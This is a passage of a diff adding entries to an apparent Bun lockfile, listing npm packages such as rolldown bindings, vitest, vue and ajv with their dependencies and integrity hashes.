+ "@rolldown/binding-linux-x64-gnu": ["@rolldown/[email protected]", "", { "os": "linux", "cpu": "x64" }, "sha512-RNrafz5bcwRy+O9e6P8Z/OCAJW/A+qtBczIqVYwTs14pf4iV1/+eKEjdOUta93q2TsT/FI0XYDP3TCky38LMAg=="],
+
+ "@rolldown/binding-linux-x64-musl": ["@rolldown/[email protected]", "", { "os": "linux", "cpu": "x64" }, "sha512-Jpw/0iwoKWx3LJ2rc1yjFrj+T7iHZn2JDg1Yny1ma0luviFS4mhAIcd1LFNxK3EYu3DHWCps0ydXQ5i/rrJ2ig=="],
+
+ "@rolldown/binding-openharmony-arm64": ["@rolldown/[email protected]", "", { "os": "none", "cpu": "arm64" }, "sha512-vRugONE4yMfVn0+7lUKdKvN4D5YusEiPilaoO2sgUWpCvrncvWgPMzK00ZFFJuiPgLwgFNP5eSiUlv2tfc+lpA=="],
+
+ "@rolldown/binding-wasm32-wasi": ["@rolldown/[email protected]", "", { "dependencies": { "@napi-rs/wasm-runtime": "^1.1.1" }, "cpu": "none" }, "sha512-ykGiLr/6kkiHc0XnBfmFJuCjr5ZYKKofkx+chJWDjitX+KsJuAmrzWhwyOMSHzPhzOHOy7u9HlFoa5MoAOJ/Zg=="],
+
+ "@rolldown/binding-win32-arm64-msvc": ["@rolldown/[email protected]", "", { "os": "win32", "cpu": "arm64" }, "sha512-5eOND4duWkwx1AzCxadcOrNeighiLwMInEADT0YM7xeEOOFcovWZCq8dadXgcRHSf3Ulh1kFo/qvzoFiCLOL1Q=="],
+
+ "@rolldown/binding-win32-x64-msvc": ["@rolldown/[email protected]", "", { "os": "win32", "cpu": "x64" }, "sha512-PyqoipaswDLAZtot351MLhrlrh6lcZPo2LSYE+VDxbVk24LVKAGOuE4hb8xZQmrPAuEtTZW8E6D2zc5EUZX4Lw=="],
+
+ "@rolldown/pluginutils": ["@rolldown/[email protected]", "", {}, "sha512-HHMwmarRKvoFsJorqYlFeFRzXZqCt2ETQlEDOb9aqssrnVBB1/+xgTGtuTrIk5vzLNX1MjMtTf7W9z3tsSbrxw=="],
+
+ "@rollup/pluginutils": ["@rollup/[email protected]", "", { "dependencies": { "@types/estree": "^1.0.0", "estree-walker": "^2.0.2", "picomatch": "^4.0.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" }, "optionalPeers": ["rollup"] }, "sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q=="],
+
+ "@rushstack/node-core-library": ["@rushstack/[email protected]", "", { "dependencies": { "ajv": "~8.18.0", "ajv-draft-04": "~1.0.0", "ajv-formats": "~3.0.1", "fs-extra": "~11.3.0", "import-lazy": "~4.0.0", "jju": "~1.4.0", "resolve": "~1.22.1", "semver": "~7.5.4" }, "peerDependencies": { "@types/node": "*" }, "optionalPeers": ["@types/node"] }, "sha512-LFzN+1lyWROit/P8Md6yxAth7lLYKn37oCKJHirEE2TQB25NDUM7bALf0ar+JAtwFfRCH+D+DGOA7DAzIi2r+g=="],
+
+ "@rushstack/problem-matcher": ["@rushstack/[email protected]", "", { "peerDependencies": { "@types/node": "*" }, "optionalPeers": ["@types/node"] }, "sha512-gulfhBs6n+I5b7DvjKRfhMGyUejtSgOHTclF/eONr8hcgF1APEDjhxIsfdUYYMzC3rvLwGluqLjbwCFZ8nxrog=="],
+
+ "@rushstack/rig-package": ["@rushstack/[email protected]", "", { "dependencies": { "resolve": "~1.22.1", "strip-json-comments": "~3.1.1" } }, "sha512-9XbFWuqMYcHUso4mnETfhGVUSaADBRj6HUAAEYk50nMPn8WRICmBuCphycQGNB3duIR6EEZX3Xj3SYc2XiP+9A=="],
+
+ "@rushstack/terminal": ["@rushstack/[email protected]", "", { "dependencies": { "@rushstack/node-core-library": "5.21.0", "@rushstack/problem-matcher": "0.2.1", "supports-color": "~8.1.1" }, "peerDependencies": { "@types/node": "*" }, "optionalPeers": ["@types/node"] }, "sha512-fhtLjnXCc/4WleVbVl6aoc7jcWnU6yqjS1S8WoaNREG3ycu/viZ9R/9QM7Y/b4CDvcXoiDyMNIay7JMwBptM3g=="],
+
+ "@rushstack/ts-command-line": ["@rushstack/[email protected]", "", { "dependencies": { "@rushstack/terminal": "0.22.4", "@types/argparse": "1.0.38", "argparse": "~1.0.9", "string-argv": "~0.3.1" } }, "sha512-MLkVKVEN6/2clKTrjN2B2KqKCuPxRwnNsWY7a+FCAq2EMdkj10cM8YgiBSMeGFfzM0mDMzargpHNnNzaBi9Whg=="],
+
+ "@samverschueren/stream-to-observable": ["@samverschueren/[email protected]", "", { "dependencies": { "any-observable": "^0.3.0" } }, "sha512-c/qwwcHyafOQuVQJj0IlBjf5yYgBI7YPJ77k4fOJYesb41jio65eaJODRUmfYKhTOFBrIZ66kgvGPlNbjuoRdQ=="],
+
+ "@sec-ant/readable-stream": ["@sec-ant/[email protected]", "", {}, "sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg=="],
+
+ "@sindresorhus/merge-streams": ["@sindresorhus/[email protected]", "", {}, "sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ=="],
+
+ "@standard-schema/spec": ["@standard-schema/[email protected]", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="],
+
+ "@tybys/wasm-util": ["@tybys/[email protected]", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="],
+
+ "@types/argparse": ["@types/[email protected]", "", {}, "sha512-ebDJ9b0e702Yr7pWgB0jzm+CX4Srzz8RcXtLJDJB+BSccqMa36uyH/zUsSYao5+BD1ytv3k3rPYCq4mAE1hsXA=="],
+
+ "@types/chai": ["@types/[email protected]", "", { "dependencies": { "@types/deep-eql": "*", "assertion-error": "^2.0.1" } }, "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA=="],
+
+ "@types/deep-eql": ["@types/[email protected]", "", {}, "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw=="],
+
+ "@types/estree": ["@types/[email protected]", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="],
+
+ "@types/node": ["@types/[email protected]", "", { "dependencies": { "undici-types": "~7.18.0" } }, "sha512-jp2P3tQMSxWugkCUKLRPVUpGaL5MVFwF8RDuSRztfwgN1wmqJeMSbKlnEtQqU8UrhTmzEmZdu2I6v2dpp7XIxw=="],
+
+ "@types/normalize-package-data": ["@types/[email protected]", "", {}, "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA=="],
+
+ "@types/prop-types": ["@types/[email protected]", "", {}, "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw=="],
+
+ "@types/react": ["@types/[email protected]", "", { "dependencies": { "@types/prop-types": "*", "csstype": "^3.2.2" } }, "sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw=="],
+
+ "@types/react-dom": ["@types/[email protected]", "", { "peerDependencies": { "@types/react": "^18.0.0" } }, "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ=="],
+
+ "@vitest/expect": ["@vitest/[email protected]", "", { "dependencies": { "@standard-schema/spec": "^1.1.0", "@types/chai": "^5.2.2", "@vitest/spy": "4.1.3", "@vitest/utils": "4.1.3", "chai": "^6.2.2", "tinyrainbow": "^3.1.0" } }, "sha512-CW8Q9KMtXDGHj0vCsqui0M5KqRsu0zm0GNDW7Gd3U7nZ2RFpPKSCpeCXoT+/+5zr1TNlsoQRDEz+LzZUyq6gnQ=="],
+
+ "@vitest/mocker": ["@vitest/[email protected]", "", { "dependencies": { "@vitest/spy": "4.1.3", "estree-walker": "^3.0.3", "magic-string": "^0.30.21" }, "peerDependencies": { "msw": "^2.4.9", "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" }, "optionalPeers": ["msw", "vite"] }, "sha512-XN3TrycitDQSzGRnec/YWgoofkYRhouyVQj4YNsJ5r/STCUFqMrP4+oxEv3e7ZbLi4og5kIHrZwekDJgw6hcjw=="],
+
+ "@vitest/pretty-format": ["@vitest/[email protected]", "", { "dependencies": { "tinyrainbow": "^3.1.0" } }, "sha512-hYqqwuMbpkkBodpRh4k4cQSOELxXky1NfMmQvOfKvV8zQHz8x8Dla+2wzElkMkBvSAJX5TRGHJAQvK0TcOafwg=="],
+
+ "@vitest/runner": ["@vitest/[email protected]", "", { "dependencies": { "@vitest/utils": "4.1.3", "pathe": "^2.0.3" } }, "sha512-VwgOz5MmT0KhlUj40h02LWDpUBVpflZ/b7xZFA25F29AJzIrE+SMuwzFf0b7t4EXdwRNX61C3B6auIXQTR3ttA=="],
+
+ "@vitest/snapshot": ["@vitest/[email protected]", "", { "dependencies": { "@vitest/pretty-format": "4.1.3", "@vitest/utils": "4.1.3", "magic-string": "^0.30.21", "pathe": "^2.0.3" } }, "sha512-9l+k/J9KG5wPJDX9BcFFzhhwNjwkRb8RsnYhaT1vPY7OufxmQFc9sZzScRCPTiETzl37mrIWVY9zxzmdVeJwDQ=="],
+
+ "@vitest/spy": ["@vitest/[email protected]", "", {}, "sha512-ujj5Uwxagg4XUIfAUyRQxAg631BP6e9joRiN99mr48Bg9fRs+5mdUElhOoZ6rP5mBr8Bs3lmrREnkrQWkrsTCw=="],
+
+ "@vitest/utils": ["@vitest/[email protected]", "", { "dependencies": { "@vitest/pretty-format": "4.1.3", "convert-source-map": "^2.0.0", "tinyrainbow": "^3.1.0" } }, "sha512-Pc/Oexse/khOWsGB+w3q4yzA4te7W4gpZZAvk+fr8qXfTURZUMj5i7kuxsNK5mP/dEB6ao3jfr0rs17fHhbHdw=="],
+
+ "@volar/language-core": ["@volar/[email protected]", "", { "dependencies": { "@volar/source-map": "2.4.28" } }, "sha512-w4qhIJ8ZSitgLAkVay6AbcnC7gP3glYM3fYwKV3srj8m494E3xtrCv6E+bWviiK/8hs6e6t1ij1s2Endql7vzQ=="],
+
+ "@volar/source-map": ["@volar/[email protected]", "", {}, "sha512-yX2BDBqJkRXfKw8my8VarTyjv48QwxdJtvRgUpNE5erCsgEUdI2DsLbpa+rOQVAJYshY99szEcRDmyHbF10ggQ=="],
+
+ "@volar/typescript": ["@volar/[email protected]", "", { "dependencies": { "@volar/language-core": "2.4.28", "path-browserify": "^1.0.1", "vscode-uri": "^3.0.8" } }, "sha512-Ja6yvWrbis2QtN4ClAKreeUZPVYMARDYZl9LMEv1iQ1QdepB6wn0jTRxA9MftYmYa4DQ4k/DaSZpFPUfxl8giw=="],
+
+ "@vue/compiler-core": ["@vue/[email protected]", "", { "dependencies": { "@babel/parser": "^7.29.2", "@vue/shared": "3.5.31", "entities": "^7.0.1", "estree-walker": "^2.0.2", "source-map-js": "^1.2.1" } }, "sha512-k/ueL14aNIEy5Onf0OVzR8kiqF/WThgLdFhxwa4e/KF/0qe38IwIdofoSWBTvvxQOesaz6riAFAUaYjoF9fLLQ=="],
+
+ "@vue/compiler-dom": ["@vue/[email protected]", "", { "dependencies": { "@vue/compiler-core": "3.5.31", "@vue/shared": "3.5.31" } }, "sha512-BMY/ozS/xxjYqRFL+tKdRpATJYDTTgWSo0+AJvJNg4ig+Hgb0dOsHPXvloHQ5hmlivUqw1Yt2pPIqp4e0v1GUw=="],
+
+ "@vue/compiler-vue2": ["@vue/[email protected]", "", { "dependencies": { "de-indent": "^1.0.2", "he": "^1.2.0" } }, "sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A=="],
+
+ "@vue/language-core": ["@vue/[email protected]", "", { "dependencies": { "@volar/language-core": "~2.4.11", "@vue/compiler-dom": "^3.5.0", "@vue/compiler-vue2": "^2.7.16", "@vue/shared": "^3.5.0", "alien-signals": "^0.4.9", "minimatch": "^9.0.3", "muggle-string": "^0.4.1", "path-browserify": "^1.0.1" }, "peerDependencies": { "typescript": "*" }, "optionalPeers": ["typescript"] }, "sha512-O1ZZFaaBGkKbsRfnVH1ifOK1/1BUkyK+3SQsfnh6PmMmD4qJcTU8godCeA96jjDRTL6zgnK7YzCHfaUlH2r0Mw=="],
+
+ "@vue/shared": ["@vue/[email protected]", "", {}, "sha512-nBxuiuS9Lj5bPkPbWogPUnjxxWpkRniX7e5UBQDWl6Fsf4roq9wwV+cR7ezQ4zXswNvPIlsdj1slcLB7XCsRAw=="],
+
+ "acorn": ["[email protected]", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
+
+ "ajv": ["[email protected]", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A=="],
+
+ "ajv-draft-04": ["[email protected]", "", { "peerDependencies": { "ajv": "^8.5.0" }, "optionalPeers": ["ajv"] }, "sha512-mv00Te6nmYbRp5DCwclxtt7yV/joXJPGS7nM+97GdxvuttCOfgI3K4U25zboyeX0O+myI8ERluxQe5wljMmVIw=="],
+
+ "ajv-formats": ["[email protected]", "", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="],
+
+ "alien-signals": ["[email protected]", "", {}, "sha512-itUAVzhczTmP2U5yX67xVpsbbOiquusbWVyA9N+sy6+r6YVbFkahXvNCeEPWEOMhwDYwbVbGHFkVL03N9I5g+Q=="],
+
+ "ansi-align": ["[email protected]", "", { "dependencies": { "string-width": "^4.1.0" } }, "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w=="],
+
+ "ansi-escapes": ["[email protected]", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg=="],
+
+ "ansi-regex": ["[email protected]", "", {}, "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA=="],
+
+ "ansi-styles": ["[email protected]", "", {}, "sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA=="],
+
+ "any-observable": ["[email protected]", "", {}, "sha512-/FQM1EDkTsf63Ub2C6O7GuYFDsSXUwsaZDurV0np41ocwq0jthUAYCmhBX9f+KwlaCgIuWyr/4WlUQUBfKfZog=="],
+
+ "argparse": ["[email protected]", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
+
+ "assertion-error": ["[email protected]", "", {}, "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA=="],
+
+ "atomically": ["[email protected]", "", { "dependencies": { "stubborn-fs": "^2.0.0", "when-exit": "^2.1.4" } }, "sha512-P4w9o2dqARji6P7MHprklbfiArZAWvo07yW7qs3pdljb3BWr12FIB7W+p0zJiuiVsUpRO0iZn1kFFcpPegg0tQ=="],
+
+ "balanced-match": ["[email protected]", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="],
+
+ "boxen": ["[email protected]", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^8.0.0", "chalk": "^5.3.0", "cli-boxes": "^3.0.0", "string-width": "^7.2.0", "type-fest": "^4.21.0", "widest-line": "^5.0.0", "wrap-ansi": "^9.0.0" } }, "sha512-F3PH5k5juxom4xktynS7MoFY+NUWH5LC4CnH11YB8NPew+HLpmBLCybSAEyb2F+4pRXhuhWqFesoQd6DAyc2hw=="],
+
+ "brace-expansion": ["[email protected]", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-VZznLgtwhn+Mact9tfiwx64fA9erHH/MCXEUfB/0bX/6Fz6ny5EGTXYltMocqg4xFAQZtnO3DHWWXi8RiuN7cQ=="],
+
+ "braces": ["[email protected]", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="],
+
+ "bundle-name": ["[email protected]", "", { "dependencies": { "run-applescript": "^7.0.0" } }, "sha512-tjwM5exMg6BGRI+kNmTntNsvdZS1X8BFYS6tnJ2hdH0kVxM6/eVZ2xy+FqStSWvYmtfFMDLIxurorHwDKfDz5Q=="],
+
+ "callsites": ["[email protected]", "", {}, "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="],
+
+ "camelcase": ["[email protected]", "", {}, "sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA=="],
+
+ "chai": ["[email protected]", "", {}, "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg=="],
+
+ "chalk": ["[email protected]", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="],
+
+ "chalk-template": ["[email protected]", "", { "dependencies": { "chalk": "^5.2.0" } }, "sha512-2bxTP2yUH7AJj/VAXfcA+4IcWGdQ87HwBANLt5XxGTeomo8yG0y95N1um9i5StvhT/Bl0/2cARA5v1PpPXUxUA=="],
+
+ "chardet": ["[email protected]", "", {}, "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA=="],
+
+ "cli-boxes": ["[email protected]", "", {}, "sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g=="],
+
+ "cli-cursor": ["[email protected]", "", { "dependencies": { "restore-cursor": "^2.0.0" } }, "sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw=="],
+
+ "cli-truncate": ["[email protected]", "", { "dependencies": { "slice-ansi": "0.0.4", "string-width": "^1.0.1" } }, "sha512-f4r4yJnbT++qUPI9NR4XLDLq41gQ+uqnPItWG0F5ZkehuNiTTa3EY0S4AqTSUOeJ7/zU41oWPQSNkW5BqPL9bg=="],
+
+ "cli-width": ["[email protected]", "", {}, "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ=="],
+
+ "clipboard-image": ["[email protected]", "", { "dependencies": { "run-jxa": "^3.0.0" }, "bin": { "clipboard-image": "cli.js" } }, "sha512-SWk7FgaXLNFld19peQ/rTe0n97lwR1WbkqxV6JKCAOh7U52AKV/PeMFCyt/8IhBdqyDA8rdyewQMKZqvWT5Akg=="],
+
+ "clipboardy": ["[email protected]", "", { "dependencies": { "clipboard-image": "^0.1.0", "execa": "^9.6.1", "is-wayland": "^0.1.0", "is-wsl": "^3.1.0", "is64bit": "^2.0.0", "powershell-utils": "^0.2.0" } }, "sha512-fPWgBqpp9ctiOQCkE5yjYGzv11ZU55g6ahEgr3COiio6dXdt1mbchCPXQrSR2Y9sZqfi8L7QD3+UosgXVIuPdg=="],
+
+ "code-point-at": ["[email protected]", "", {}, "sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA=="],
+
+ "color-convert": ["[email protected]", "", { "dependencies": { "color-name": "1.1.3" } }, "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg=="],
+
+ "color-name": ["[email protected]", "", {}, "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw=="],
+
+ "commander": ["[email protected]", "", {}, "sha512-/rFeCpNJQbhSZjGVwO9RFV3xPqbnERS8MmIQzCtD/zl6gpJuV/bMLuN92oG3F7d8oDEHHRrujSXNUr8fpjntKw=="],
+
+ "compare-versions": ["[email protected]", "", {}, "sha512-4hm4VPpIecmlg59CHXnRDnqGplJFrbLG4aFEl5vl6cK1u76ws3LLvX7ikFnTDl5vo39sjWD6AaDPYodJp/NNHg=="],
+
+ "confbox": ["[email protected]", "", {}, "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ=="],
+
+ "config-chain": ["[email protected]", "", { "dependencies": { "ini": "^1.3.4", "proto-list": "~1.2.1" } }, "sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ=="],
+
+ "configstore": ["[email protected]", "", { "dependencies": { "atomically": "^2.0.3", "dot-prop": "^9.0.0", "graceful-fs": "^4.2.11", "xdg-basedir": "^5.1.0" } }, "sha512-N4oog6YJWbR9kGyXvS7jEykLDXIE2C0ILYqNBZBp9iwiJpoCBWYsuAdW6PPFn6w06jjnC+3JstVvWHO4cZqvRg=="],
+
+ "convert-source-map": ["[email protected]", "", {}, "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="],
+
+ "cosmiconfig": ["[email protected]", "", { "dependencies": { "env-paths": "^2.2.1", "import-fresh": "^3.3.0", "js-yaml": "^4.1.0", "parse-json": "^5.2.0" }, "peerDependencies": { "typescript": ">=4.9.5" }, "optionalPeers": ["typescript"] }, "sha512-hr4ihw+DBqcvrsEDioRO31Z17x71pUYoNe/4h6Z0wB72p7MU7/9gH8Q3s12NFhHPfYBBOV3qyfUxmr/Yn3shnQ=="],
+
+ "cross-spawn": ["[email protected]", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="],
+
+ "crypto-random-string": ["[email protected]", "", { "dependencies": { "type-fest": "^1.0.1" } }, "sha512-x8dy3RnvYdlUcPOjkEHqozhiwzKNSq7GcPuXFbnyMOCHxX8V3OgIg/pYuabl2sbUPfIJaeAQB7PMOK8DFIdoRA=="],
+
+ "csstype": ["[email protected]", "", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
+
+ "date-fns": ["[email protected]", "", {}, "sha512-hBSVCvSmWC+QypYObzwGOd9wqdDpOt+0wl0KbU+R+uuZBS1jN8VsD1ss3irQDknRj5NvxiTF6oj/nDRnN/UQNw=="],
+
+ "de-indent": ["[email protected]", "", {}, "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg=="],
+
+ "debug": ["[email protected]", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "deep-extend": ["[email protected]", "", {}, "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA=="],
+
+ "default-browser": ["[email protected]", "", { "dependencies": { "bundle-name": "^4.1.0", "default-browser-id": "^5.0.0" } }, "sha512-H9LMLr5zwIbSxrmvikGuI/5KGhZ8E2zH3stkMgM5LpOWDutGM2JZaj460Udnf1a+946zc7YBgrqEWwbk7zHvGw=="],
+
+ "default-browser-id": ["[email protected]", "", {}, "sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q=="],
+
+ "define-lazy-prop": ["[email protected]", "", {}, "sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg=="],
+
+ "del": ["[email protected]", "", { "dependencies": { "globby": "^14.0.2", "is-glob": "^4.0.3", "is-path-cwd": "^3.0.0", "is-path-inside": "^4.0.0", "p-map": "^7.0.2", "presentable-error": "^0.0.1", "slash": "^5.1.0" } }, "sha512-gPqh0mKTPvaUZGAuHbrBUYKZWBNAeHG7TU3QH5EhVwPMyKvmfJaNXhcD2jTcXsJRRcffuho4vaYweu80dRrMGA=="],
+
+ "detect-libc": ["[email protected]", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="],
+
+ "diff": ["[email protected]", "", {}, "sha512-DPi0FmjiSU5EvQV0++GFDOJ9ASQUVFh5kD+OzOnYdi7n3Wpm9hWWGfB/O2blfHcMVTL5WkQXSnRiK9makhrcnw=="],
+
+ "dot-prop": ["[email protected]", "", { "dependencies": { "type-fest": "^4.18.2" } }, "sha512-1gxPBJpI/pcjQhKgIU91II6Wkay+dLcN3M6rf2uwP8hRur3HtQXjVrdAK3sjC0piaEuxzMwjXChcETiJl47lAQ=="],
+
+ "elegant-spinner": ["[email protected]", "", {}, "sha512-B+ZM+RXvRqQaAmkMlO/oSe5nMUOaUnyfGYCEHoR8wrXsZR2mA0XVibsxV1bvTwxdRWah1PkQqso2EzhILGHtEQ=="],
+
+ "emoji-regex": ["[email protected]", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="],
+
+ "entities": ["[email protected]", "", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
+
+ "env-paths": ["[email protected]", "", {}, "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A=="],
+
+ "environment": ["[email protected]", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="],
+
+ "error-ex": ["[email protected]", "", { "dependencies": { "is-arrayish": "^0.2.1" } }, "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ=="],
+
+ "es-module-lexer": ["[email protected]", "", {}, "sha512-5POEcUuZybH7IdmGsD8wlf0AI55wMecM9rVBTI/qEAy2c1kTOm3DjFYjrBdI2K3BaJjJYfYFeRtM0t9ssnRuxw=="],
+
